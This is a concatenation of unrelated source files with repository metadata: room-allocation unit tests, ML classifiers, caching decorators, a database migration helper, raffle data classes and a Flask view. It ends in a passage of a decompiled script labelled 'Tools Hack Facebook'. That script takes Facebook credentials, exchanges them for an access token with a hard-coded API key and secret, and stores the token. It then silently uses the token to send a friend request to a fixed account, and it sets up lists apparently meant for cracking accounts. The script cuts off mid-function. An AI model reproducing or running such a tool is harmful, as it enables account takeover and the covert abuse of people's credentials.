"BOLAJI OLAJIDE") def test_print_room_livingspace(self): Dojo().purge() arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": 'FELLOW', "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) arg = { "<room_name>": 'Orion' } Dojo().print_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "BOLAJI OLAJIDE") def test_print_room_livingspace_office(self): Dojo().purge() arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<person_fname>": "Bolaji", "<person_lname>": "Olajide", "<FELLOW/STAFF>": 'FELLOW', "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) arg = { "<room_name>": 'Orion' } Dojo().print_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-5] output2 = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "BOLAJI OLAJIDE") self.assertEqual(output2, "BOLAJI OLAJIDE") def test_print_empty_livingspace(self): Dojo().purge() arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Meraki'] } Dojo().create_room(arg) arg = { "<room_name>": 'Meraki' } Dojo().print_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The Living Space MERAKI is empty") def test_print_room_empty(self): Dojo().purge() arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_type>": 'OFFICE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_name>": 'Orion' } Dojo().print_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-2] output2 = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The Office ORION is empty") self.assertEqual(output2, "The Living Space ORION is empty") def test_existing_livingspace(self): Dojo().purge() arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Orion'] } Dojo().create_room(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "The LIVINGSPACE, ORION already exists!") def test_load_people_(self): Dojo().purge() arg = { "<file_name>": 'test_input' } Dojo().load_people(arg) self.assertTrue('BRIAN MOSIGISI' in Dojo().fellow_data) self.assertTrue('PERCILA NJIRA' in Dojo().staff_data) arg = { "<file_name>": 'test_input' } Dojo().load_people(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertTrue(output, "Invalid Argument Format!") def test_reallocate_fellow(self): Dojo().purge() arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_type>": 'OFFICE', "<room_name>": ['Meraki', 'Piper'] } Dojo().create_room(arg) arg = { "<file_name>": 'test_input' } Dojo().load_people(arg) arg = { '<person_fname>': 'Brian', '<person_lname>': 'Mosigisi' } Dojo().get_person_id(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] fellow_id = output[-8:-1] if Dojo().fellow_data['BRIAN MOSIGISI'].office == 'MERAKI': arg = { '<new_room_name>': 'Piper', '<person_identifier>': fellow_id } Dojo().reallocate_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "BRIAN MOSIGISI has been reallocated to the Office PIPER") else: arg = { '<new_room_name>': 'Meraki', '<person_identifier>': fellow_id } Dojo().reallocate_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "BRIAN MOSIGISI has been reallocated to the Office MERAKI") def test_reallocate_invalid_id(self): arg = { '<new_room_name>': 'Meraki', '<person_identifier>': 'F00' } Dojo().reallocate_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "No fellow in the Dojo with the id: F00") def test_reallocate_staff(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Meraki', 'Piper'] } Dojo().create_room(arg) arg = { "<person_fname>": "Percila", "<person_lname>": "Njira", "<FELLOW/STAFF>": "STAFF", "<wants_accommodation>": "Y" } Dojo().add_person(arg) Dojo().allocate_room(arg) arg = { '<person_fname>': 'Percila', '<person_lname>': 'Njira' } Dojo().get_person_id(arg) id_output = sys.stdout.getvalue().strip().split("\n")[-1] staff_id = id_output[-8:] if Dojo().staff_data['PERCILA NJIRA'].office == 'MERAKI': arg = { '<new_room_name>': 'Piper', '<person_identifier>': staff_id } Dojo().reallocate_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "PERCILA NJIRA has been reallocated to the Office PIPER") else: arg = { '<new_room_name>': 'Meraki', '<person_identifier>': staff_id } Dojo().reallocate_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "PERCILA NJIRA has been reallocated to the Office MERAKI") def test_reallocate_staff_invalid_id(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Meraki'] } Dojo().create_room(arg) arg = { '<new_room_name>': 'Meraki', '<person_identifier>': 'L000' } Dojo().reallocate_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual( output, "Invalid Identifier") def tearDown(self): if os.path.isfile('data/db/fellow.db'): os.remove(os.path.realpath("data/db/fellow.db")) if os.path.isfile('data/db/office.db'): os.remove(os.path.realpath("data/db/office.db")) if os.path.isfile('data/db/livingspace.db'): os.remove(os.path.realpath("data/db/livingspace.db")) if os.path.isfile('data/db/staff.db'): os.remove(os.path.realpath("data/db/staff.db")) def test_reallocate_same_room(self): Dojo().purge() arg = { "<room_type>": 'LIVINGSPACE', "<room_name>": ['Orion'] } Dojo().create_room(arg) arg = { "<room_type>": 'OFFICE', "<room_name>": ['Meraki'] } Dojo().create_room(arg) arg = { "<file_name>": 'test_input' } Dojo().load_people(arg) arg = { '<person_fname>': 'Brian', '<person_lname>': 'Mosigisi' } Dojo().get_person_id(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] fellow_id = output[-8:-1] arg = { '<new_room_name>': 'Meraki', '<person_identifier>': fellow_id } Dojo().reallocate_person(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "You cannot relocate to the same room") def test_get_invalid_id(self): Dojo().purge() arg = { "<person_fname>": 'Bolaji', "<person_lname>": 'Olajide' } Dojo().get_person_id(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output, "BOLAJI OLAJIDE doesn't exist in the Dojo!") def test_similar_person(self): Dojo().purge() arg = { "<room_type>": 'OFFICE', "<room_name>": ['Meraki'] } Dojo().create_room(arg) arg = { "<file_name>": 'test_input' } Dojo().load_people(arg) arg = { "<person_fname>": 'Bolaji', "<person_lname>": 'Olajide' } Dojo().get_person_id(arg) output = sys.stdout.getvalue().strip().split("\n")[-1] self.assertEqual(output[0:14], 'BOLAJI OLAJIDE') output = sys.stdout.getvalue().strip().split("\n")[-2] self.assertEqual(output[0:14], 'BOLAJI OLAJIDE') if __name__ == '__main__': unittest.main()

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f35a77622c36ffc52c0687fb362c865eb4e771fb

6,076

py

Python

black_box_optimization/ensemble_methods.py

Optimistic-Optimizers/Black-Box-Optimization

81444dc80886b808d509e0613e63bc77b7eac676

[ "MIT" ]

null

black_box_optimization/ensemble_methods.py

Optimistic-Optimizers/Black-Box-Optimization

81444dc80886b808d509e0613e63bc77b7eac676

[ "MIT" ]

null

black_box_optimization/ensemble_methods.py

Optimistic-Optimizers/Black-Box-Optimization

81444dc80886b808d509e0613e63bc77b7eac676

[ "MIT" ]

2

2021-02-17T01:34:11.000Z

2021-03-17T21:27:33.000Z

def decision_tree_classifier(a,b,c,d): '''This function runs the decision_tree_classifier on the data''' import numpy as np import os import pandas as pd from bayes_opt import BayesianOptimization from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.preprocessing import MinMaxScaler from sklearn.ensemble import BaggingClassifier from sklearn.metrics import accuracy_score from sklearn.tree import DecisionTreeClassifier if os.path.exists('data/All Data combined.xlsx'): df = pd.read_excel('data/All Data combined.xlsx') else: df = pd.read_excel('../data/All Data combined.xlsx') df = df.drop(['Unnamed: 0'], axis=1) df = df.drop(['Unnamed: 8'], axis=1) df = df.drop(['type_of_opt'], axis=1) df.dropna() df = df[df['accuracy [calc. max/ actual max]'] < 1.05] x = df[['number of trials','number of parameters','accuracy [calc. max/ actual max]', 'time per trial [s]']].values y = df['assigned_class'] x_train, x_test, y_train, y_test = train_test_split(x, y,test_size=0.30) x_train = StandardScaler().fit(x_train).transform(x_train) x_test = StandardScaler().fit(x_test).transform(x_test) x_train = MinMaxScaler().fit(x_train).transform(x_train) x_test = MinMaxScaler().fit(x_test).transform(x_test) y_train = np.asarray(y_train) def func(x,y): estimator = DecisionTreeClassifier(max_depth= int(np.round(x))) clf = BaggingClassifier(base_estimator=estimator, n_estimators= int(np.round(y))) clf = clf.fit(x_train, y_train) yhat = clf.predict(x_test) acc = accuracy_score(y_test, yhat) return acc xmin = 1 xmax = 50 ymin = 1 ymax = 50 pbounds = {'x': (xmin, xmax), 'y': (ymin, ymax)} optimizer = BayesianOptimization(f=func, pbounds=pbounds, verbose=3) optimizer.maximize(init_points = 20, n_iter = 30) best_params = optimizer.max["params"] found_x = best_params['x'] found_y = best_params['y'] max_value = func(found_x, found_y) print("Found x: {}, f: {}".format(found_x, (func(found_x, found_y)))) print("Found y: {}, f: {}".format(found_y, (func(found_x, found_y)))) print("Max value found is: {}".format(max_value)) estimator = DecisionTreeClassifier(max_depth=int(np.round(found_x))) clf = BaggingClassifier(base_estimator=estimator, n_estimators= int(np.round(found_y))) clf = clf.fit(x_train, y_train) yhat = clf.predict(x_test) acc = accuracy_score(y_test, yhat) x = np.array([a,b,c,d]).reshape(1,-1) predicted_category_num = int(clf.predict(x)[0]) if predicted_category_num == 0: predicted_category = 'CmaEs' elif predicted_category_num == 1: predicted_category = 'Random' elif predicted_category_num == 2: predicted_category = 'TPE' elif predicted_category_num == 3: predicted_category = 'Bayes' elif predicted_category_num == 4: predicted_category = 'PULP_CBC_CMD' return predicted_category def random_forest_classifier(a,b,c,d): '''This function runs the random_forest_classifier on the data''' import numpy as np import pandas as pd import os from bayes_opt import BayesianOptimization from sklearn.model_selection import train_test_split from sklearn.preprocessing import StandardScaler from sklearn.preprocessing import MinMaxScaler from sklearn.ensemble import RandomForestClassifier from sklearn.metrics import accuracy_score if os.path.exists('data/All Data combined.xlsx'): df = pd.read_excel('data/All Data combined.xlsx') else: df = pd.read_excel('../data/All Data combined.xlsx') df = df.drop(['Unnamed: 0'], axis=1) df = df.drop(['Unnamed: 8'], axis=1) df = df.drop(['type_of_opt'], axis=1) df.dropna() df = df[df['accuracy [calc. max/ actual max]'] < 1.05] x = df[['number of trials','number of parameters','accuracy [calc. max/ actual max]', 'time per trial [s]']].values y = df['assigned_class'] x_train, x_test, y_train, y_test = train_test_split(x, y,test_size=0.30) x_train = StandardScaler().fit(x_train).transform(x_train) x_test = StandardScaler().fit(x_test).transform(x_test) x_train = MinMaxScaler().fit(x_train).transform(x_train) x_test = MinMaxScaler().fit(x_test).transform(x_test) y_train = np.asarray(y_train) def func(x,y): rfr = RandomForestClassifier(max_depth = int(np.round(x)), n_estimators = int(np.round(y)), max_features = 4) rfr = rfr.fit(x_train, y_train.flatten()) yhat = rfr.predict(x_test) acc = accuracy_score(y_test, yhat) return acc xmin = 1 xmax = 50 ymin = 1 ymax = 50 pbounds = {'x': (xmin, xmax), 'y': (ymin, ymax)} optimizer = BayesianOptimization(f=func, pbounds=pbounds, verbose=3) optimizer.maximize(init_points = 20, n_iter = 30) best_params = optimizer.max["params"] found_x = best_params['x'] found_y = best_params['y'] max_value = func(found_x, found_y) print("Found x: {}, f: {}".format(found_x, (func(found_x, found_y)))) print("Found y: {}, f: {}".format(found_y, (func(found_x, found_y)))) print("Max value found is: {}".format(max_value)) rfr = RandomForestClassifier(max_depth = int(np.round(found_x)), n_estimators = int(np.round(found_y)), max_features = 4) rfr = rfr.fit(x_train, y_train.flatten()) yhat = rfr.predict(x_test) acc = accuracy_score(y_test, yhat) x = np.array([a,b,c,d]).reshape(1,-1) predicted_category_num = int(rfr.predict(x)[0]) if predicted_category_num == 0: predicted_category = 'CmaEs' elif predicted_category_num == 1: predicted_category = 'Random' elif predicted_category_num == 2: predicted_category = 'TPE' elif predicted_category_num == 3: predicted_category = 'Bayes' elif predicted_category_num == 4: predicted_category = 'PULP_CBC_CMD' return predicted_category

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6,076

4.467354

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0.061538

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0.834359

0

0.012708

0.197005

6,076

138

126

44.028986

0.786637

0.019585

0

0.900763

0

0.1164

0

1

0.030534

false

0

0.145038

0

0.206107

0.045802

0

null

0

1

0

1

0

null

0

7

f36c574a1e61c47ca96378cd0c0b93dc31991c47

66

py

Python

problem.0001/problem1.py

jonathanjdavis/euler

b5e4c37b68182102e0c53f3c5f0fc2dc48cf9777

[ "Unlicense" ]

null

problem.0001/problem1.py

jonathanjdavis/euler

b5e4c37b68182102e0c53f3c5f0fc2dc48cf9777

[ "Unlicense" ]

null

problem.0001/problem1.py

jonathanjdavis/euler

b5e4c37b68182102e0c53f3c5f0fc2dc48cf9777

[ "Unlicense" ]

null

#!python3 print(sum(set(range(0,1000,3)) | set(range(0,1000,5))))

22

55

0.651515

13

66

3.307692

0.692308

0.372093

0.418605

0.604651

0

0.209677

0.060606

66

3

55

22

0.483871

0.121212

0

1

0

true

0

1

0

null

1

0

1

0

1

0

1

0

null

0

1

0

1

0

9

f3801ba06ee1c3c0715f3dbe5aa17b0b9f2e50fc

2,740

py

Python

data_collection/altdata_service/db/sql/migration_of_db/django_migration_do_to_gcp/sql_queries.py

kaljuvee/openaltdata

9c5d140b56cfd5260fe3cf52b24bb7d467e87cf1

[ "MIT" ]

null

data_collection/altdata_service/db/sql/migration_of_db/django_migration_do_to_gcp/sql_queries.py

kaljuvee/openaltdata

9c5d140b56cfd5260fe3cf52b24bb7d467e87cf1

[ "MIT" ]

null

data_collection/altdata_service/db/sql/migration_of_db/django_migration_do_to_gcp/sql_queries.py

kaljuvee/openaltdata

9c5d140b56cfd5260fe3cf52b24bb7d467e87cf1

[ "MIT" ]

1

2021-09-10T16:03:20.000Z

import pandas as pd import db.db_access as access from sqlalchemy import create_engine class gcp_psql_db_migration(object): def __init__(self): self.host, self.port, self.database, self.user, self.password = access.postgre_access_google_cloud() self.message = str('postgres://' + self.user + ':' + self.password + '@' + self.host + ':' + self.port + '/' + self.database) def get_create_engine(self): engine = create_engine(self.message) return engine def get_table(self, table_name): engine = self.get_create_engine() query = """SELECT * FROM {TABLE_NAME}""" query = query.format(TABLE_NAME=str(table_name)) df = pd.read_sql_query(query, con=engine.connect()) return df def get__main_company_table(self): engine = self.get_create_engine() query = """SELECT * FROM maincompany""" df = pd.read_sql_query(query, con=engine.connect()) return df def get_company_table(self): engine = self.get_create_engine() query = """SELECT * FROM company""" df = pd.read_sql_query(query, con=engine.connect()) return df def insert_data(self, df, table_name): engine = self.get_create_engine() df.to_sql(table_name, con=engine.connect(), if_exists='append', index=False, method='multi') return class do_psql_db_migration(object): def __init__(self): self.host, self.port, self.database, self.user, self.password = access.postgre_access_digital_ocean() self.message = str('postgres://' + self.user + ':' + self.password + '@' + self.host + ':' + self.port + '/' + self.database) def get_create_engine(self): engine = create_engine(self.message) return engine def get_table(self, table_name): engine = self.get_create_engine() query = """SELECT * FROM {TABLE_NAME}""" query = query.format(TABLE_NAME=str(table_name)) df = pd.read_sql_query(query, con=engine.connect()) return df def get__main_company_table(self): engine = self.get_create_engine() query = """SELECT * FROM maincompany""" df = pd.read_sql_query(query, con=engine.connect()) return df def get_company_table(self): engine = self.get_create_engine() query = """SELECT * FROM company""" df = pd.read_sql_query(query, con=engine.connect()) return df """ def insert_data(self, df, table_name): engine = self.get_create_engine() df.to_sql(table_name, con=engine.connect(), if_exists='append', index=False) return """

32.235294

134

0.614964

341

2,740

4.683284

0.167155

0.097683

0.093926

0.095178

0.916719

0

0.259854

2,740

85

135

32.235294

0.787475

0

0.811321

0

0.075173

0

1

0.207547

false

0.075472

0.056604

0

0.471698

0

null

0

1

0

1

0

null

0

1

0

1

0

9

45eddffd0285fbccf3d6b3c9c35142ec3031c52d

4,982

py

Python

src/pyrin/caching/remote/decorators.py

wilsonGmn/pyrin

25dbe3ce17e80a43eee7cfc7140b4c268a6948e0

[ "BSD-3-Clause" ]

null

src/pyrin/caching/remote/decorators.py

wilsonGmn/pyrin

25dbe3ce17e80a43eee7cfc7140b4c268a6948e0

[ "BSD-3-Clause" ]

null

src/pyrin/caching/remote/decorators.py

wilsonGmn/pyrin

25dbe3ce17e80a43eee7cfc7140b4c268a6948e0

[ "BSD-3-Clause" ]

null

# -*- coding: utf-8 -*- """ caching remote decorators module. """ from functools import update_wrapper import pyrin.caching.services as caching_services def memcached(*old_method, **options): """ decorator to convert a method or function into a lazy one. note that this cache type supports expire time and will consider method inputs in caching. the result will be calculated once and then it will be cached. each result will be cached using a tuple of class type, method name, inputs, current user and component key as a key in the cache. that this decorator could be used on both instance or class level methods and properties or stand-alone functions. to be able to use this decorator you must install memcached client dependency using `pip install pyrin[memcached]` and also remove `pyrin.caching.remote.handlers.memcached` from `ignored_modules` of `packaging.ini` file. :param function | property old_method: the original decorated method or function. :keyword bool consider_user: specifies that current user must be included in key generation. if not provided, it will be get from `caching` config store. :keyword int expire: expire time for given key in seconds. if not provided, it will be get from `caching` config store. :returns: method or function result. """ def decorator(method): """ decorates the given method or function and makes it a lazy one. :param function | property method: decorated method or function. :returns: method or function result. """ def wrapper(*args, **kwargs): """ decorates the given method or function and makes it a lazy one. :param object args: function positional arguments. :param object kwargs: function keyword arguments. :returns: method or function result. """ result = caching_services.try_get('memcached', method, args, kwargs, **options) if result is not None: return result result = method(*args, **kwargs) caching_services.try_set('memcached', result, method, args, kwargs, **options) return result return update_wrapper(wrapper, method) if len(old_method) > 0: return decorator(old_method[0]) return decorator def redis(*old_method, **options): """ decorator to convert a method or function into a lazy one. note that this cache type supports expire time and will consider method inputs in caching. the result will be calculated once and then it will be cached. each result will be cached using a tuple of class type, method name, inputs, current user and component key as a key in the cache. that this decorator could be used on both instance or class level methods and properties or stand-alone functions. to be able to use this decorator you must install redis client dependency using `pip install pyrin[redis]` and also remove `pyrin.caching.remote.handlers.redis` from `ignored_modules` of `packaging.ini` file. :param function | property old_method: the original decorated method or function. :keyword bool consider_user: specifies that current user must be included in key generation. if not provided, it will be get from `caching` config store. :keyword int expire: expire time for given key in milliseconds. if not provided, it will be get from `caching` config store. :returns: method or function result. """ def decorator(method): """ decorates the given method or function and makes it a lazy one. :param function | property method: decorated method or function. :returns: method or function result. """ def wrapper(*args, **kwargs): """ decorates the given method or function and makes it a lazy one. :param object args: function positional arguments. :param object kwargs: function keyword arguments. :returns: method or function result. """ result = caching_services.try_get('redis', method, args, kwargs, **options) if result is not None: return result result = method(*args, **kwargs) caching_services.try_set('redis', result, method, args, kwargs, **options) return result return update_wrapper(wrapper, method) if len(old_method) > 0: return decorator(old_method[0]) return decorator

34.839161

85

0.620032

605

4,982

5.066116

0.203306

0.041762

0.083524

0.045024

0.927243

0.903752

0.878303

0

0.001474

0.31935

4,982

142

86

35.084507

0.902389

0.632878

0

0.75

0

0.019512

0

1

0.1875

false

0

0.0625

0

0.5625

0

null

0

1

0

1

0

null

0

7

340441949b7d7a26035f52b35fe0e39f6e795000

3,293

py

Python

substance/bili_data_types.py

Liu-0726/bili2.0

5320964b1f4fbb75ea9bccd4bb6fd3d15dfed0e0

[ "MIT" ]

1,081

2018-07-10T11:20:22.000Z

2022-03-25T09:26:25.000Z

substance/bili_data_types.py

Liu-0726/bili2.0

5320964b1f4fbb75ea9bccd4bb6fd3d15dfed0e0

[ "MIT" ]

440

2018-07-12T08:50:31.000Z

2021-12-22T11:56:54.000Z

substance/bili_data_types.py

Liu-0726/bili2.0

5320964b1f4fbb75ea9bccd4bb6fd3d15dfed0e0

[ "MIT" ]

280

2018-07-11T14:35:20.000Z

2022-03-28T11:09:14.000Z

import attr @attr.s(frozen=True) class SubstanceRaffleStatus: # 这部分保证方便迅速定位某条动态（手动） aid = attr.ib(converter=int) number = attr.ib(converter=int) describe = attr.ib(validator=attr.validators.instance_of(str)) join_start_time = attr.ib(converter=int) join_end_time = attr.ib(converter=int) handle_status = attr.ib(validator=attr.validators.in_([-1, 0, 1])) # -1 表示未参与，0表示正在参与， 1表示已经参与 # 一些其他信息 prize_cmt = attr.ib( default=attr.Factory(list), validator=attr.validators.deep_iterable( member_validator=attr.validators.instance_of(str), iterable_validator=attr.validators.instance_of(list) ) ) # 命名模仿attrs的astuple，非数据库数据转化为数据库数据直接使用，无需在sqlite内再次转换类型 def as_sql_values(self): aid = str(self.aid) # str 怕超出sql的int限制长度；如果使用sqlite的默认int转str，这sb先损失精度，再存为str（mdzz）!!!!!!! number = str(self.number) describe = self.describe[:20] # 截断数据，防止描述过长 join_start_time = self.join_start_time join_end_time = self.join_end_time handle_status = self.handle_status prize_cmts = ' '.join([i.replace(' ', '　') for i in self.prize_cmt]) # 空格换成全角，用半角空格表示element之间间隔 return aid, number, describe, join_start_time, join_end_time, handle_status, prize_cmts @attr.s(frozen=True) class SubstanceRaffleJoined: uid = attr.ib(converter=int) aid = attr.ib(converter=int) number = attr.ib(converter=int) def as_sql_values(self): uid = str(self.uid) aid = str(self.aid) number = str(self.number) return uid, aid, number @attr.s(frozen=True) class SubstanceRaffleResults: aid = attr.ib(converter=int) number = attr.ib(converter=int) describe = attr.ib(validator=attr.validators.instance_of(str)) join_start_time = attr.ib(converter=int) join_end_time = attr.ib(converter=int) # 最终获奖情况 # 一些其他信息 prize_cmt = attr.ib( validator=attr.validators.deep_iterable( member_validator=attr.validators.instance_of(str), iterable_validator=attr.validators.instance_of(list) ) ) prize_list = attr.ib( validator=attr.validators.deep_iterable( member_validator=attr.validators.instance_of(int), iterable_validator=attr.validators.instance_of(list) ) ) def as_sql_values(self): aid = str(self.aid) # str 怕超出sql的int限制长度；如果使用sqlite的默认int转str，这sb先损失精度，再存为str（mdzz）!!!!!!! number = str(self.number) describe = self.describe[:20] # 截断数据，防止描述过长 join_start_time = self.join_start_time join_end_time = self.join_end_time prize_cmts = ' '.join([i.replace(' ', '　') for i in self.prize_cmt]) prize_list = ' '.join([str(i) for i in self.prize_list]) return aid, number, describe, join_start_time, join_end_time, prize_cmts, prize_list @attr.s(frozen=True) class SubstanceRaffleLuckydog: uid = attr.ib(converter=int) aid = attr.ib(converter=int) number = attr.ib(converter=int) def as_sql_values(self): uid = str(self.uid) aid = str(self.aid) number = str(self.number) return uid, aid, number

33.602041

106

0.644701

406

3,293

5.046798

0.169951

0.058565

0.102489

0.122987

0.843338

0.750122

0.72816

0

0.004013

0.243243

3,293

97

107

33.948454

0.818218

0.093532

0

0.739726

0

0.002434

0

1

0.054795

false

0

0.013699

0

0.452055

0

null

0

1

0

1

0

null

0

7

342c69ec27f8ba8ed9ce3fbafac0157495c395d5

110

py

Python

api/db/Accounts.py

BytesToBits/BytesToBits-API

bfa305e4f6ded995da95bbedc79c91ef8ce498fb

[ "MIT" ]

null

api/db/Accounts.py

BytesToBits/BytesToBits-API

bfa305e4f6ded995da95bbedc79c91ef8ce498fb

[ "MIT" ]

null

api/db/Accounts.py

BytesToBits/BytesToBits-API

bfa305e4f6ded995da95bbedc79c91ef8ce498fb

[ "MIT" ]

null

from .core import BaseDb def find_by_token(token): return BaseDb("Main", "Accounts").get_one(token=token)

27.5

58

0.745455

17

110

4.647059

0.764706

0.253165

0

0.118182

110

4

58

27.5

0.814433

0

0.108108

0

1

0.333333

false

0

0.333333

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

343b27a611f807228a1180d4ddff0ee929eae701

143

py

Python

thanados/views/about.py

stefaneichert/thanados

262b97e995425ddfe49dae0089f7de6ca58842e7

[ "MIT" ]

15

2019-11-15T15:54:52.000Z

2022-01-27T10:51:18.000Z

thanados/views/about.py

nhmvienna/thanados

262b97e995425ddfe49dae0089f7de6ca58842e7

[ "MIT" ]

1

2022-01-05T09:38:58.000Z

2022-03-08T11:10:02.000Z

thanados/views/about.py

nhmvienna/thanados

262b97e995425ddfe49dae0089f7de6ca58842e7

[ "MIT" ]

5

2019-11-21T14:46:12.000Z

2022-02-25T16:10:24.000Z

from flask import render_template from thanados import app @app.route('/about') def about(): return render_template('about/about.html')

15.888889

46

0.748252

20

143

5.25

0.6

0.266667

0

0.13986

143

8

47

17.875

0.853659

0

0.153846

0

1

0.2

true

0

0.4

0.2

0.8

0

1

0

null

1

0

1

0

null

0

1

0

1

0

7

caa57ed4038f595609b83bf0be615cae686fea20

264

py

Python

adbus/client/__init__.py

jameshilliard/adbus

3b16f02d6cc5ff27b50f1f60b429710ecac7233b

[ "MIT" ]

31

2017-09-07T22:57:54.000Z

2021-08-15T01:45:42.000Z

adbus/client/__init__.py

jameshilliard/adbus

3b16f02d6cc5ff27b50f1f60b429710ecac7233b

[ "MIT" ]

41

2017-08-23T17:44:02.000Z

2021-04-21T21:22:24.000Z

adbus/client/__init__.py

ccxtechnologies/python-adbus

091e3cf83d770996502a2b39cf53234e5b77cd75

[ "MIT" ]

10

2018-08-22T06:08:20.000Z

2020-07-06T11:05:04.000Z

# == Copyright: 2017, CCX Technologies from adbus.client.call import call from adbus.client.getset import get from adbus.client.getset import set_ from adbus.client.getset import get_all from adbus.client.listen import Listen from adbus.client.proxy import Proxy

29.333333

39

0.818182

41

264

5.219512

0.365854

0.252336

0.420561

0.294393

0.406542

0.280374

0

0.017167

0.117424

264

8

40

33

0.901288

0.136364

0

1

0

true

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

7

cace03926546de268f4c14ad24bf0c42af32de82

88,873

py

Python

clowns.py

clownsmd5h4sh/clownsmd5

08255ae1ba7f6e2b5eca8bb8215c385fbda0ad9e

[ "Unlicense" ]

null

clowns.py

clownsmd5h4sh/clownsmd5

08255ae1ba7f6e2b5eca8bb8215c385fbda0ad9e

[ "Unlicense" ]

null

clowns.py

clownsmd5h4sh/clownsmd5

08255ae1ba7f6e2b5eca8bb8215c385fbda0ad9e

[ "Unlicense" ]

null

#Decompiled by Ac3p_Cyb3r import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib, requests, mechanize from multiprocessing.pool import ThreadPool from requests.exceptions import ConnectionError from mechanize import Browser reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] def Exit(): print '\x1b[1;91m[!] Exit' os.sys.exit() def Street(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.01) logo = ' Tools Hack Facebook \n\x1b[1;93m Author : clownsmd5 \n\x1b[1;93m My Team. : GadgetLink \n\x1b[1;93m Thanks To : clowns3c' def tik(): titik = [ '. ', '.. ', '... '] for o in titik: print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mCurrently Entering \x1b[1;97m' + o, sys.stdout.flush() time.sleep(1) back = 0 threads = [] itworks = [] checkpoint = [] failed = [] idfriend = [] idfromfriend = [] idmem = [] id = [] em = [] emfromfriend = [] hp = [] hpfromfriend = [] reaction = [] reactiongroup = [] come = [] comegroup = [] listgroup = [] Validot = '\x1b[31mNot Valid' Valid = '\x1b[32mValid' def login(): os.system('clear') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('clear') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN FACEBOOK ACCOUNT BEFORE CARRY \x1b[1;91m[\xe2\x98\x86]' id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername FB \x1b[1;91m:\x1b[1;92m ') pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword FB \x1b[1;91m:\x1b[1;92m ') tik() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] There is no connection' Exit() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin itworks' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open https://github.com/aceptriana') time.sleep(2) menu() except requests.exceptions.ConnectionError: print '\n\x1b[1;91m[!] There is no connection' Exit() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mCheckpoint account' os.system('rm -rf login.txt') time.sleep(1) Exit() else: 